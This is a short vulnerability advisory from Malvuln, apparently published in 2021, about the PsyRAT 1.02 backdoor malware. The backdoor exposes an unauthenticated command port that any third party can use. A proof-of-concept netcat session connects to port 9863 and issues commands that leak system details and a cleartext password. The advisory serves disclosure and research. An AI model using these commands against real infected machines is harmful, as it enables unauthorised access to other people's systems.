Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863, but can be changed when building backdoor servers. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. The backdoors cpuinfo command will leak system details including cleartext password.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0306
Dropped files: server.exe
Disclosure: 07/26/2021

Exploit/PoC:
nc64.exe x.x.x.x 9863
PASS
BADPWD
Invalid command
whatami
you are a loser
whatismyip
192.168.18.130
cpuinfo
Windows Version: |System Directory: C:\WINDOWS\system32|Computer Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port: 192.168.18.130:9863|Password: abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL: http://yourdomain.com/log.php
Invalid command.
version
PsyRAT 0.01 BETA

getdrives
C:\ - Fixed Drive^D:\ - CD-ROM^


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